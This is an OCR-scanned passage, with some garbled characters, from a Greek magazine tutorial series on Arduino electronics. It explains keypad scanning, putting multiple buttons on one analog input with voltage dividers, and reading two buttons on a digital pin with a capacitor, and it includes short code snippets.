αριθµό 11110000. Με αυτὀν τον τρὀπο οι ακροδέκτες που δεν συνδέονται 
στο keypad μοιάζουν να ¿xouv πάντα τη λογικἠ τιµή 1. Έτσι, η μεταβλητή 
col θα εἶναι γεμάτη ἁσσους, EKTOG αν ἐχει πατηθεἰ κάποιος διακόπτης. Σε 
αυτή την περίπτωση, η µεταβλητή θα ἐχει Eva μηδενικὀ, στο bit που αντι- 
OTOIXE] στη στήλη του πατημένου διακόπτη. H συνἀρτησή µας, λοιπὸν, 
ελέγχοντας αν η μεταβλητή col έχει την τιµή 255 (όλα τα bit εἶναι ἁσσοι), 
µπορεἰ να διαπιστώσει το av ἐχει πατηθεἰ κάποιος διακόπτης ἡ ὀχι. Στη 
δεύτερη περίπτωση (δεν έχει πατηθεί κανένας διακόπτης), η συνάρτηση 
προχωρά στον ἐλεγχο της επόμενης γραμμής. Εάν όμως ἐχει πατηθεὶ 
κάποιος διακόπτης, ο ἐλεγχος καθεμίας απὸ τις εναποµένουσες γραμμὲς 
παρακάμπτεται. Με την ἴδια λογική, η συνάρτηση σαρώνει γραμμἠὴς προς 
γραμμὴς ολόκληρο To keypad. 


Τελικά, πατήθηκε τίποτα; 


Αφού ολοκληρωθεί η σάρωση του keypad, η συνάρτηση ελέγχει αν η 
μεταβλητή col έχει την τιµή 255. Εάν ισχύει κἀτι τέτοιο, τότε σε καμία 
γραμμὴ δεν ανιχνεύθηκε πατημένος διακόπτης. Εάν ὁμως δεν ισχύει (εάν 
η τιμὴ της col δεν εἶναι 255), η συνάρτηση ελέγχει ποιο bit της µεταβλη- 
τὴς εἶναι μηδενικὀ και αποδἰδει µια αντίστοιχη τιµή στη μεταβλητή. Αν 
για παράδειγµα εἶχε πατηθεἰ ο δεύτερος διακόπτης κάποιας γραμμὴς, η 
μεταβλητή col θα ἐχει αρχικἁ την τιμὴ 11111101 (253) και θα της ano- 
δοθεἰ τελικἁ η τιµή 2. ‘Ooo για τη γραμμὴ στην οποία ανιχνεύθηκε το 
πάτημα του διακόπτη, αυτή βρίσκεται αποθηκευμένη στη μεταβλητὴ row. 
Αυτὀ συμβαίνει γιατὶ η συνάρτηση προχωρούσε στον ἐλεγχο της ENOHE- 
νης γραμμὴς και αὐξανε τη μεταβλητή row, μόνο ὁταν δεν εἶχε εντοπίσει 
πατημένο διακόπτη στην τρέχουσα γραμμὴ”. Μετά και and αυτοὺς τους 
ελέγχους, το πρόγραμμα στέλνει απὀ τη σειριακἠ θύρα τον αριθμὀ της 
σειρὰς και της στήλης του πατημένου διακόπτη. 


Auto ἡταν! Με τη βοήθεια της συνάρτησης read_keypad, το πρὀγραμμὰ 
μας μπορεί να διαβάζει το keypad και να γνωρίζει αν και ποιος διακόπτης 
πατήθηκε. Βέβαια, για va µη χάνεται το πάτημα κανενὸς διακόπτη, η εν 
λόγω συνάρτηση θα πρέπει να καλεῖται πολύ συχνὰ. AUTO όμως ισχύει για 
οποιονδήποτε διακόπτη και οποιαδήποτε συνδεσμολογία. Δεν αποτελεὶ 
ιδιαιτερότητα των keypad και δεν θα πρέπει να µας προβληματίζει. 


Κάπου εδὠ πρέπει να υπογραμμίσουµε ἑναν περιορισμὀ που EXE! το KÙ- 
κλωμά µας. Συγκεκριµένα, όπως θα καταλάβατε και ano την ανάλυση του 
κώδικα, εἶναι αδύνατο να διαβάσουμε σωστά το NOAAGNAO πάτημα διακο- 
πτὠν. Πα να λειτουργούν όλα σωστά, πρέπει κάθε φορά να πατιέται μόνο 
ἑνας διακόπτης! Αυτὸς ο περιορισμὸς παρακάμπτεται µε ειδικἁ keypad, τα 
οποία δίπλα σε κάθε διακόπτη ἐχουν συνδεδεμένη σε σειρἁ και Hid δίοδο. 
Ta keypad αυτού του εἶδους ὁμως εἰναι δυσεύρετα. Μικρὸ το kako: Δεν 
υπάρχει κανένας λόγος να σχεδιάσουμε µια εφαρµογή, η οποία να απαιτεἰ 
το πάτημα πολλῶν διακοπτὠν ταυτόχρονα. Εάν κάνουμε κάτι τέτοιο, τότε 
μᾶλλον την έχουμε σχεδιάσει λανθασμένα ;) 


3. Ουφ! ;-) 
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Εικόνα 4 

H τόση σε κάθε on- 
μείο του διαιρέτη 
εἶναι ανάλογη της 
συνολικἠς τάσης 
που εφαρμὀζε- 

ται στο διαιρέτη, 
όπως επίσης και 
της αντίστασης 
ano το συγκεκρι- 
µένο σημείο ως Ta 
ΟΝΟΙΙ. Ταυτόχρονα, 
η εν λόγω τόση 
εἶναι αντιστρό- 
φως ανάλογη Tou 
αθροίσματος των 
αντιστάσεων που 
απαρτίζουν το 
διαιρέτη. 


5V 


R1 


R2 


R3 
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Εξοικονόμηση akpodekTav 


Me τη βοήθεια evoc keypad μπορούμε να συνδέσουµε EWC και δεκάξι δι- 
ακόπτες, σε μόλις οκτὠ ακροδέκτες του Arduino -- χώρια που το ἰδιο το 
keypad προσδίδει ξεχωριστό κύρος στην κατασκευὴ µας. Υπάρχουν όμως 
περιπτώσεις στις οποίες εἶναι αδύνατο να διαθέσουµε τόσους ακροδέ- 
κτες, ενώ ἐχουμε ανάγκη πολλούς διακόπτες! Τι μπορούμε να κάνου- 
με, τότε; Στο προηγούμενο μέρος της σειρὰς, εξετάσαμε µια μέθοδο που 
περιλαμβάνει τη χρήση διόδων και προὐποθέτει τη δέσμευση τουλάχι- 
στον δύο ακροδεκτὠν Tou Arduino. Επιγραμματικά, η εν λόγω μέθοδος 
προβλέπει τη σύνδεση των διακοπτῶν µε τέτοιο τρόπο, ὥστε το πάτημα 
του καθενὸς να σχηματίζει επάνω στους ακροδέκτες του Arduino vav 
μοναδικὸ αριθμὀ στο δυαδικὀ σύστημα. Έτσι, αν χρησιμοποιήσουμε 4 
ακροδέκτες, η συγκεκριμένη τεχνικἠ μάς επιτρέπει να συνδέσουµε EWC 
και 15 διακόπτες. Δεν εἶναι κι ἄσχημα. Βέβαια το κὐκλωμά µας θα γεμίσει 
διόδους και η συνδεσμολογἰα θα εἶναι περίπλοκη. Αυτή τη Popa λοιπὀν 
θα φτάσουμε στα ἀκρα: Θα εξετάσουμε μερικὲς τεχνικὲς για τη σύνδεση 
πολλών διακοπτών, σε *Evav* μόνο ακροδέκτη! 


Αναλογικοί διακόπτες! 


Ας υποθέσουμε ὁτι έχουμε δεσμεύσει ὀλουςτους ακροδέκτεςτου Arduino, 
που βρἰσκονται στα PORTD και PORTB (τους ακροδέκτες που χρησιμοποι- 
οὗνται «παραδοσιακά» για ψηφιακἠ εἰσοδο και ἑξοδο). Σε αυτή την nE- 
ρίπτωση, θα μπορούσαμε να χρησιμοποιήσουμε τις αναλογικὲς εισόδους 
του Arduino, µε τον ἴδιο τρόπο που χρησιμοποιούμε και τους υπόλοιπους 
ακροδέκτες. Βλέπετε, οι συγκεκριμένες εἰσοδοι απαρτἰζουν το PORTC, το 
οποίο προσφέρει την ἴδια βασικἠ λειτουργικότητα µε Ta άλλα δύο (PORTD 
και PORTB). Κάτι τἐτοιο ὁμως θα ἦταν τουλάχιστον ἀστοχο, για να µην 
πούμε και ανόητο. Εφόσον το ζητούμενο εἶναι να συνδέσουµε διακόπτες, 
μπορούμε κάλλιστα να τους συνδέσουµε όλους επάνω σε «μίας αναλο- 
γικἡ εἰσοδο. 


Οι αναλογικὲς εἰσοδοι Tou Arduino μπορούν να διακρίνουν 2410 διαφορε- 
τικὲς καταστάσεις, σε αντίθεση HE TIC ψηφιακές, οι οποίες διακρίνουν pò- 
λις 2 καταστάσεις. AUTO συμβαίνει γιατὶ οι αναλογικὲς εἰσοδοι βρίσκονται 
μπροστά ano ἑνα κύκλωμα DAC (Digital to Analog Converter), το οποίο 
μετατρέπει την τάση που εφαρμόζεται πάνω στον ακροδέκτη σε Eva δυ- 
αδικὀ αριθμό των δέκα ψηφίων! Με άλλα λόγια, µια αναλογικἠ εἰσοδος 
του Arduino μπορεί να διακρίνει 1024 διαφορετικἁ επίπεδα τάσης, στην 
περιοχἠ ano OVolt ἑως 5Volt*. Ας επιστρἐψουµε ὀμως στο θέμα των δια- 
κοπτώὠν. Πα να συνδέσουµε μερικοὺς διακόπτες πάνω στην ἴδια αναλογικἠ 
εἰσοδο, αρκεἰ να εξασφαλίσουµε ότι το πάτημα του καθενὸς θα εφαρμόζει 
στην εἰσοδο µια διαφορετικἠ τάση. Κάτι τέτοιο επιτυγχάνεται εὐκολα µε 
τη βοήθεια ενὸς διαιρἐτη τάσεων. 


Διαιρέτες τάσεων 


Ένας διαιρέτης τάσεων σχηματίζεται and αντιστάσεις που ¿xouv συνδεθεί 
σε σειρὰ. Δείτε για παράδειγµα την εικόνα 4. O διαιρέτης µας απαρτἰζε- 
ται ano τις αντιστάσεις R1, R2 και R3. H τάση που εμφανίζεται σε κάθε 
σηµείο του διαιρἑτη εἶναι ανάλογη µε τη συνολικἠ τάση που εφαρµόζεται 
επάνω στο διαιρἐτη (στην περἱπτωσή µας τα 5Volt), όπως επἰσης και HE TO 
άθροισμα των αντιστάσεων μέχρι τα OVolt. Πιο συγκεκριµένα, η τάση σε 


4. Μπορούμε να µεταβάλλουμε το ἄνω φράγμα αυτής της περιοχής τάσεων, αλλά ο τρόπος για να πετύχουμε 
κάτι τέτοιο ξεφεύγει and το θέμα µας. 


Arduino the way of the hacker! (Mépoc 2/k) 
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κάθε σημεὶο ισούται µε TO λόγο του αθροίσματος των αντιστάσεων μέχρι 
τα OVolt, προς τη συνολικἠ αντίσταση του διαιρέτη, επὶ την τάση που 
εφαρµόζεται πάνω Tou. Πα παράδειγµα, η τάση στο σημείο A εἰναι ion µε 
5*(R2+R3)/(R1+R2+R3)Volt. Αντίστοιχα, η τάση στο σημεὶο B ισούται µε 
5*R3/(R1+R2+R3)Volt. Αν υποθέσουμε OT! RI=R2=R3, τότε η τάση στο 
σημείο A εἶναι 5*2/3Volt, ενώ η τάση στο σημεὶο B εἶναι 5*1/3Volt. 


Ας δούμε τώρα πὠς μπορούμε va συνδυάσουµε vav διαιρέτη τάσεων HE 
μερικούς διακόπτες, ὥστε το πάτημα του καθενὸς να µας δίνει µια διαφο- 
PETIKN τάση. ‘Eva κύκλωμα που πετυχαίνει το OKONO µας Φαίνεται στην £l- 
Kova 5. Παρατηρείστε ὁτι η αντίσταση R5 ξεκινάει ano το σηµείο ὁπου θα 
συνδἑέσουµετην αναλογικἠ εἰσοδο του Arduino και καταλήγει στα OVolt. H 
συγκεκριμένη αντίσταση λειτουργεί σαν αντίσταση pull-down, WOTE όταν 
δεν πατάμε κανέναν διακόπτη το Arduino να διαβάζει πάντα την τάση 
των OVoIt>. Όταν ὁμως πατάμε κάποιον διακόπτη (δείτε το δεξιό τµήµα 
της εικόνας) η R5 σχηματίζει ἑναν διαιρέτη, μαζὶ µε τις αντιστάσεις που 
βρίσκονται ano τον διακόπτη και πάνω (ως τα 5Volt). Αν για παράδειγµα 
πατήσουμε το διακόπτη 3 (button 3), η τάση στο σηµείο ὁπου θα ouv- 
δεθεὶ η αναλογικἠ εἰσοδος του Arduino γίνεται 5*R5/(R1+R2+R5)Volt. 
Επειδἠ όμως έχουμε φροντίσει MOTE R1=R2=R3=R4=R5, η τάση που θα 
δει τελικά To Arduino µας θα εἶναι 5/3Volt. Αν κάνετε τις πράξεις, θα δι- 
απιστὠστε OTI το πάτημα του διακόπτη 4 θα εμφανίσει στην αναλογική 
εἰσοδο του Arduino την τάση 5/4Volt. Ομοίως, ο διακόπτης 1 δηµιουργεἰ 
την τάση 5/1Volt, ο διακόπτης 2 την τάση 5/2Volt και ο διακόπτης 5 την 
τάση 5/5Volt. Βολικό δεν εἶναι; Αρκεἰ να φτιάξουμε Eva προγραμματάκι 
5. Μετὰ and την συζήτηση για τους διαιρέτες τάσεων, εἶναι πιθανό να προκύψουν σε κἀποιους µερικά ερω- 
τήµατα: Πώς εἶναι δυνατὀ To Arduino να διαβάζει OVolt; Δεν προκαλεί καμία διαφορά στην τάση η μεσολάβηση 
της αντίστασης R5; Αυτή η αντίσταση ἐχει την ἴδια τάση και στις δύο πλευρὲς της; Η απάντηση (τουλάχιστον 
για όσους γνωρίζουν το νόµο του Ohm) εἶναι απλή: Όταν δεν πατάμε κανένα διακόπτη, η R5 δεν διαρρέεται and 
ρεύμα. Έτσι, στα ἄκρα της δεν αναπτύσσεται καμία διαφορά τάσης! 


Εικόνα 5 

Με την κατάλλη- 
An συνδεσµολο- 
γία μπορούμε va 
συνδέσουµε όσους 
διακόπτες θέλουμε, 
σε «μία kal μόνον 
αναλογική εἰσοδο 
του Arduino. Περιο- 
ρισμός στο πλήθος 
των διακοπτών 
τίθεται μόνον απὀ 
την ακρίβεια του 
κυκλὠματός µας, 
αλλά και του DAC 
(Digital to Analog 
Converter) Tou 
Arduino. 


Εικόνα 6 

Πέντε διακόπτες 
σε μία αναλογι- 

Kr) εἰσοδο του 
Arduino. Εἶναι πολύ 
εὐκολο να γίνουν 
λάθη σε ἑνα τέτοιο 
κύκλωμα, αλλά 
όταν οι ψηφιακοί 
ακροδέκτες εἶναι 
όλοι δεσμευμένοι 

η συγκεκριμένη 
λύση µπορεί να µας 
λύσει τα χέρια! 


«ος σος 
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στο Arduino µας που θα μετράει την τάση στην κατάλληλη αναλογικἠ 
εἰσοδο. And αυτήν την τάση θα μπορούμε πανεύκολα να συμπεράνουμε 
ποιος διακόπτης πατιέται. 


Στην εικὀνα 6 φαίνεται το αντἰστοιχο κύκλωμα που φτιάξαμε γύρω ano 
το Arduino µας. Όσο για τον σχετικὀ κὠδικα, θα τον βρεἰτε στο sketch 
ονόματι button_scale. Κατά τα γνωστά, εδώ θα παραθέσουµε μόνο το πιο 
ενδιαφέρον κομμάτι: 


while (i < keypad_num + 1) { // loop until i == keypad_num 


i++; 
diff = abs((1023 / i) - keypad_val); 
if (diff < 3) { 

keypad_val = 


break; 


} 


Το anoondoud προέρχεται ano τη συνάρτηση read_keypad, η οποία χρη- 
σιμοποιεἰται για να εντοπίζει το τυχόν πάτηµα κάποιου ano τους δια- 
κόπτες µας. Σημειώστε ὁτι η μεταβλητή keypad_val ἐχει την τιμὴ που 
επιστρέφει η analogRead, ano Tov ακροδέκτη επάνω στον οποίο συνδέ- 
εται ο διαιρέτης και οι διακόπτες. Όσο για την keypad_num, πρὀκειται 
για µια σταθερἀ nou ἐχει σαν τιµή 
το πλήθος των διακοπτὠν. Η συ- 
γκεκριμένη σταθερἀ ορίζεται στην 
αρχἡ του προγράμματος. Ἐτσι, av 
αποφασἰσουµε κάποια στιγμὴ να 
επεκτεἰνουµε το κύκλωμα µε πρὀ- 
σθετους διακόπτες, 8a μπορούσε 
να προσαρμόσουμε το πρὀγραμμµα 
πανεύκολα, αλλάζοντας μόνο την 
τιμὴ της εν λόγω σταθερἁς. Ας 
δούμε ὁμωςτι συμβαίνει στο napa- 
πάνω απόσπασμα κὠδικα... 


«--..« 


eeee 


O βρόχος θα επαναληφθεί wç 
ὁτου η τιμὴ της μεταβλητὴς i φτά- 
σει το πλήθος των διακοπτὠν. Σε 
κάθε επανάληψη ελέγχουμε αν EXE! 
πατηθεἰ ἑνας and τους διακόπτες. 
Επομένως η μεταβλητὴ i λειτουρ- 
ygi και σαν ἑνας δείκτης που oa- 
ρώνει τους διακόπτες µας. Σε κάθε 
επανάληψη του βρὀχου, η μέγιστη 
τιμή που µπορεἰ να επιστρέψει η 
AnalogRead (το 10236) διαιρείται 
µε τη μεταβλητή i. Έτσι υπολογἰ- 
ζουμε την τιµή που θα επέστρεφε η 
AnalogRead, αν εἶχε πατηθεἰ ο δια- 
κόπτης i. Στη συνέχεια αφαιρούμε 
την τιμὴ που μέτρησε πραγματικἁ η 


Arduino 


6. Ὅπως εἰπαμε, ο DAC Tou Arduino ἐχει ακρίβεια δέκα δυαδικών ψηφίων και ο αριθμός 1111111111 στο 
δυαδικὀ ισούται µε το 1023 στο δεκαδικὀ... 


Arduino the way of the hacker! (Mépoc 2/k) 
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AnalogRead, επάνω στην αναλογικἠ εἰσοδο και κρατάμε την απὀλυτη 
τιµή. Τελικά, µε αυτές τις πράξεις υπολογίζουμε τη διαφορὰ της πραγµα- 
τικὴς τάσης επάνω στην αναλογικἠ εἰσοδο, ano την τάση που προβλέπει 
η θεωρία για το πάτηµα του διακόπτη i. Αν αυτή η διαφορά εἶναι µικρό- 
τερη του 3, θεωρούμε ὁτι οι δύο τιμὲς εἶναι πρακτικά ἰσες (η διαφορά 
εἶναι πολύ μικρή και βρίσκεται στα ὁρια του σφάλματος). Επομένως το 
πρὀγραμμα συμπεραίνει ὁτι εἶχε πατηθεί πραγματικἁ ο διακόπτης i. Eav η 
διαφορὰ εἶναι μεγαλύτερη του 3 ο βρόχος επαναλαμβάνεται για τον επὀ- 
μενο διακόπτη (η TIEN της μεταβλητὴς i αυξάνεται). Ὀλο αυτὀ το τερτἰπι 
--με τη διαφορὰ της θεωρητικἠς τιμής ano την πραγµατική--, το κἄνου- 
µε για να αποφύγουμε το TUXOV σφάλμα στη μέτρηση του DAC. Τέλος, 
σημειώστε ὁτι η μεταβλητὴ i σαρώνει τους διακόπτες και δείχνει GUTOV 
που ἐχει πατηθεἰ, µε την προὐπόθεση ὁτι τους έχουμε αριθμήσει ὁπως 
φαίνεται στις εικὀνες 5 και 6. 


Στα ἁκρα... 


Auta εἶναι! Με την τεχνικἠ που εἶδαμε μπορούμε va συνδέσουµε όσους 
διακόπτες θέλουμε, πάνω σε μία και μόνο αναλογικἡ εἰσοδο του Arduino. 
Για την ακρίβεια, θα μπορούσαμε να συνδέσουµε ἐως και 1023 διακόπτες, 
αλλά επειδἠ οι μετρήσεις του DAC ενδέχεται να παρουσιάσουν κάποιο 
σφάλμα θα μπορούσαμε va συνδέσουµε λιγότερους. Ας πούμε 255. Καλά 
δεν εἶναι; Eva τἐτοιο κύκλωμα βέβαια θα απαιτούσε 255 αντιστάσεις και 
µια πολὺ κουραστικἠ συνδεσμολογἰα! Edm που τα λέμε, ακόµα και µε 16 
διακόπτες προκύπτει Eva κανταῖφι καλωδίων και αντιστάσεων. Πάντως 
16 διακόπτες συνδεδεμένοι χύμα, διαφέρουν πολύ απὸ τους 16 διακόπτες 
ενὸς μικρού και τακτοποιηµένου keypad. Κρίμα δεν εἶναι; ‘Oxi! Βλέπετε, 
µε την ἴδια πάντα τεχνικἠ μπορούμε να συνδέσουµε κι Eva ολόκληρο 
keypad, πάνω σε µία αναλογικἠ εἰσοδο! Σε αυτή την περίπτωση, βέβαια, 
επειδἠ οι διακόπτες εἶναι ἡδη συνδεδεμένοι µε EVA συγκεκριµένο τρὀπο, 
δεν αρκεἰ ἑνας διαιρέτης. Πα va συνδέσουμε Eva keypad σε µια αναλογικἠ 
εἰσοδο θα πρέπει να σχηµατίσουµε γύρω του Eva δικτύωμα αντιστάσε- 
ων, το οποίο µε το πάτημα κἆθε διακόπτη θα δημιουργεὶ vav μοναδικὀ 
διαιρέτη τάσεων! Mia λύση σε αυτὸ το πρὀβλημα φαίνεται στην εικὀνα 
7. Γίνεται χαμός, δεν το κρύβουμε, αλλά σκεφτεῖτε ὁτι µε αυτή τη συν- 
δεσμολογία μπορούμε να συνδέσουµε Eva ολόκληρο keypad σε πάνω σε 
vav μόνο αναλογικὀ ακροδέκτη του Arduino! 


Αναλογικὀ keypad 


Άραγε ποια τάση δημιουργεὶ το πάτημα κάθε διακόπτη; Πα να απαντἠ- 
OOUE σε αυτό το ερώτημα, πρέπει να σκεφτούμε ποιος διαιρέτης τάσης 
συγκροτείται µε το πάτημα κάθε διακόπτη και να υπολογίσουμε την τάση 
που θα µας δώσει. Μιλάμε για λίγες και απλὲς πράξεις, αλλά µέσα στο 
χαμὸ των αντιστάσεων εἶναι EUKOAO να γίνουν λάθη. Εξάλλου, πολλά 
keypad παρουσιάζουν va ιδιαϊτερα ενοχλητικὀ bug: Οι διακόπτες εισά- 
γουν µια παρασιτικἠ αντίσταση. Όταν τους πατάμε, δηλαδή, δεν βραχυ- 
κυκλώνουν πλήρως αλλὰά εἶναι σαν να τους αντικαθιστούμε µε pia μικρἠ 
αντἰσταση. Μάλιστα αυτή η µικρή αντίσταση δεν εἶναι πάντοτε σταθε- 
pn, αλλά μεταβάλλεται ανάλογα µε την πἰεση που GOKOUHE στο κουμπί... 
Mido’ το αυγό και κούρευτο, που λένε και στο χωριό μου! (Σ.τ.Ε. Εἶμαι 
βέβαιος ὁτι το λένε και σε πολλά άλλα χωριά.) 


Τα παραπάνω οδηγούν αβίαστα σε δύο συμπεράσματα. Καταρχάς, οι 
αντιστάσεις γύρω ano το keypad πρέπει να επιλεχθούν πολύ προσεκτι- 
κά, ὥστε οι τάσεις που προκύπτουν ano το πάτημα κάθε κουμπιού va 


TO ANALOG 
INPUT PIN 


GND 


Εικόνα 7 

O «απλός» διαιρέ- 
της τάσεων µετους 
διακόπτες ἦταν 
µόνο η αρχή. Τώρα 
που πήραμε φόρα 
φτιάξαμε πολλα- 
πλούς διαιρέτες, 
γύρω ano ἑνα 
keypad! Με αυτή 
τη συνδεσµολο- 
yia μπορούμε va 
συνδέσουµε Eva 
ολόκληρο keypad, 
πάνω σε µία µόνο 
αναλογική εἰσοδο! 
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anéxouv ὁσο πιο πολύ γίνεται. Με 
αυτόν τον τρόπο, το πρὀγραμμα 
1800 που θα γράψουμε αργότερα στο 
Arduino θα µπορεί ευκολότερα να 


αντισταθμίσει το σφάλμα που £l- 
7500 σἀγουν οι παρασιτικὲς αντιστά- 
σεις των διακοπτὠν. Επιπρὀσθετα, 


οι πράξεις που απαιτούνται για va 
43ko βρούμετις κατάλληλες αντιστάσεις 
εἶναι napa πολλὲς οπότε θα ἦταν 


Π 


καλύτερα να γίνουν αυτόματα. Π 
24ko αυτὸ το λὀγο φτιάξαμε Eva φὺλ- 
Ao εργασίας στο Excel, το οποίο 


πραγµατοποιεἰ όλους τους σχετι- 
κοὺς υπολογισμούς αυτόματα :D 
Από μέρους µας, αρκεἰ να δώσουμε 
µόνο τις επιθυμητές τιμὲς για τις 
αντιστάσεις, pai µε τη μέση αντἰ- 
σταση που εισάγουν οι διακόπτες 
του keypad. To Excel υπολογίζει 
αυτόματα τις τιμὲς που θα δίνει η 
AnalogRead, µε το πάτημα κάθε 
διακόπτη! Μπορείτε να βρείτε το 
εν λόγω Φύλλο υπολογισμών του 
Excel στο πακέτο keypad resistors. 
zip (http://bit.ly/dhee4keyresist). 
Στο ἰδιο πακέτο θα βρείτε και 
ἑνα φύλλο υπολογισμών για ἑνα 
keypad 3x4, ὁπως και τα αντἱστοι- 
χα κυκλώματα. 


5V 


Στην πράξη 
Το κύκλωμα που φτιάξαμε για τη σύνδεση ενός keypad πάνω σε μία ava- 
λογικἠ εἰσοδο Tou Arduino, φαίνεται στην εικὀνα 8. Όσο για τον σχετικὀ 
κώδικα, θα τον βρείτε στο sketch µε ὀνομα keypad_analog. Edw, κατὰ 
τα γνωστὰ πλέον, θα εστιάσουµε µόνο στη συνάρτηση read_keypad, που 
κάνει όλη την κρἰσιµη δουλειά. 
void read_keypad() { 

delay(10); 

keypad_value = analogRead(keypad) ; 

delay(10); 

keypad_value += analogRead(keypad) ; 

delay(10); 

keypad_value += analogRead(keypad) ; 

delay(10); 

keypad_value += analogRead(keypad) ; 


keypad_value = keypad_value / 4; // get average of four 
readings 


keypad_value = keypad_value / 4; // divide again to reduce 
value-domain 
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H λογική που ακολουθεὶ η συνάρ- 
τηση εἰναι πολύ απλἠ. Οι πρὠτες 
γραμμές της ὁμως (φαίνονται στο 
απόσπασμα) παρουσιάζουν ξεχω- 
ριστὸ ενδιαφἐρον. Ὅπως εἰπαμε 
νωρίτερα, η αντίσταση που εισάγει 
το πάτημα κάθε διακόπτη δεν εἶναι 
σταθερἠ και εξαρτάται ano την ni- 
con που ασκούμε πάνω του. Ακρι- 
Bosc yl’ αυτὀ εἶναι πολύ σημαντικὀ 
να µην πάρουμε µόνο μία μέτρηση, 
αλλά πολλὲς. Ἔτσι, το πρὀγραμµα 
παίρνει τἐσσερεις διαφορετικὲς pE- 
τρήσεις and την αναλογική εἶσοδο 
και στη συνέχεια διαιρεἰ το ἆθροι- 
Oud µε το τἐσσερα. Μια στιγµή! 
H διαίρεση µε το τέσσερα γίνεται 
δύο φορὲς. Nati apaye; H πρώτη 
διαίρεση γίνεται για να πάρουμε 
το μέσο OPO των μετρήσεων. Όσο 
για τη δεύτερη, ἐχει σαν σκοπὀ 
να αναγάγει τις τιμὲς που δίνει η 
analogRead ano την περιοχἠ [1, 
1023] στην nepioxn [1, 255]. Me 
αυτή την avaywyn, τα τυχόν σφἀλ- 
ματα στις μετρήσεις µας μοιάζουν 
να ασκούν μικρότερη επἰδραση. 
Σαν ποσοστά βεβαίως παραμένουν 
σταθεράἆ, αλλά η απόκλιση που 
προκαλούν στις μετρήσεις µας £i- 
ναι μικρότερη ως νούμερο. 


Στη συνέχεια, το πρὀγραμμα ελέγχει αν η μέτρηση (μετὰ απὀ τις τρο- 
ποποιήσεις που ἐχει δεχτεὶ) βρίσκεται κοντὰ στη θεωρητικἠ τιµή, που 
προκύπτει µε το πάτημα κάθε διακόπτη. Προφανώς, οι θεωρητικὲς τιμὲς 
που έχουμε χρησιμοποιήσει βρίσκονται κι αυτὲς στην περιοχἠ [1,255]. To 
φύλλο εργασίας που φτιάξαμε νωρίτερα, δίνει τις θεωρητικές τιμὲς για TO 
πάτημα κἀθε διακόπτη και στις *OU0* περιοχὲς τιμών. 


Δύο σε ἑνα 


Πολὺ ωραία όλα αυτά, θα πει κανείς, αλλά τι γίνεται αν έχουμε δεσμεύσει 
Ἐῤλεςχ τις αναλογικὲς εισόδους του Arduino; Αν και πρὀκειται για εξαιρε- 
τικἁ σπάνιο ενδεχόμενο, δεν θα μασήσουμε! Έχουμε µια λύση και γι’ αυτή 
την περἰσταση. Βέβαια, η λύση µας απαιτεἰ ἑναν ελεύθερο ακροδέκτη και 
επιτρέπει να συνδέσουµε µόνο δύο διακόπτες. Πώς εἰπατε; Δύο διακόπτες 
σε Evav αναλογικὀ ακροδέκτη γίνεται. Εἶδαμε τον τρὀπο λἰγο παραπάνω. 
Σε ἑναν ψηφιακὀ ακροδέκτη όμως, πὠς θα το πετύχουμε; Οι ψηφιακοί 
ακροδέκτες διακρίνουν µόνο δύο καταστάσεις. Όμως, µε δύο διακόπτες 
ἐχουμε τρεἰς διαφορετικὲς καταστάσεις: Πατημένος ο ἑνας, πατημένος ο 
ἄλλος και κανένας πατημένος. Τι εἰἶδους αντιστοιχία θα κάνουμε; H où- 
ντοµη απάντηση εἶναι καμία αντιστοιχία! 


H λύση στο πρὀβλημὰ µας δίνεται HE TN βοήθεια ενὸς απλού κυκλώματος, 
γύρω ano τον ακροδέκτη. Το κύκλωμα περιλαμβάνει Evav πυκνωτή μαζὶ 
µε µια αντίσταση και φυσικά τους δύο διακόπτες. Μπορείτε va το δείτε 


Εικόνα 8 

Πα τη σύνδεση 
ενός keypad σε 

µία αναλογική 
εἰσοδο του Arduino 
χρειάζονται μόλις 
οκτώ αντιστάσεις. 
Το σχετικὀ κύκλω- 
μα εἶναι αρκετό 
απλό... 
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TO DIGITAL 
INPUT PIN 


button 1 


button 2 


GND 


Εικόνα 9 

Δύο διακόπτες σε 
μία ψηφιακή εἰσο- 
δο εἶναι αδύνατο 
να συνδεθούν και 
να λειτουργήσουν 
σωστά. Εκτὀς av 
μεσολαβεί ἑνας 
πυκνωτής και µία 
αντίσταση. Όταν 
δεν πατάμε κανένα 
κουμπί ο πυκνω- 
τής φορτίζεται Και 
εκφορτίζεται µέσω 
της αντίστασης. 
Έτσι, η τάση που 
εμφανίζεται επάνω 
του παρουσιάζει 
µια μετρήσιμη/ 
αισθητή αδράνεια. 
Αυτό αλλάζει όταν 
πατήσουµε κάποιον 
ano τους διακό- 
πτες. 
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στην εικὀνα 9. To κολπάκι που κάνουμε εκμεταλλεύεται το γεγονός ότι η 
φόρτιση και η εκφὀρτιση ενὸς πυκνωτή απαιτούν κάποιο χρόνο και δεν 
γίνονται στιγμιαία. Στο κὐκλωμά µας λοιπὸν, η τάση που εμφανίζεται στο 
πάνω ἆκρο του πυκνωτή (εκεὶ ONOU συνδέεται η αντίσταση και στη OU- 
νέχεια ο ακροδέκτης του Arduino) δεν µπορεί να αλλάζει ακαριαία, EKTOG 
αν επιδρούν «εξωτερικοί» παράγοντες. E λοιπὀν, αυτἠ την καθυστέρηση 
που παρατηρείται, θα την χρησιμοποιήσουμε προς ὀφελὸς µας... 


Διακόπτες µε παρενέργειες 


Αρχικἁ θα κάνουμε τον ακροδέκτη του Arduino ἐξοδο και θα τον θέσουμε 
στη λογική κατάσταση 1 (τάση 5Volt), ώστε ο πυκνωτής µας Vv’ αρχίσει 
να Φφορτίζεται. Αφού τον φορτἰσουμε’, αρκεἰ να κάνουμε τον ακροδὲ- 
κτη εἰσοδο και να διαβάσουμε την κατἀστασὴ του. Αν εἶναι λογικὀ 0, η 
τάση στον πυκνωτή εἶναι μικρότερη ano 1,5Volt. Όμως KATI τέτοιο δεν 
θα προλάβαινε να συμβεὶ τόσο γρήγορα. Επομένως, συμπεραίνουμε ὁτι 
ο πυκνωτής δεν φορτίστηκε ποτἑ. Πα va συμβεἰ αυτὀ, θα πρέπει να ἦταν 
πατημένος ο διακόπτης 2 (button 2) που συνδέει τον πυκνωτή µε τα 
OVolt, µέσω μίας πολύ μικρἠς αντἰστασηςδ. Ωραία! Με αυτἠ τη διαδικασία 
μπορούμε να ελέγξουμε το διακόπτη 2. Πα τον ἆλλο τι θα κάνουμε; Στην 
περίπτωση που δεν xei πατηθεἰ ο διακόπτης 2, θα μετατρέψουμε τον 
ακροδέκτη του Arduino σε εἰσοδο και θα τον θέσουμε στη λογική κατά- 
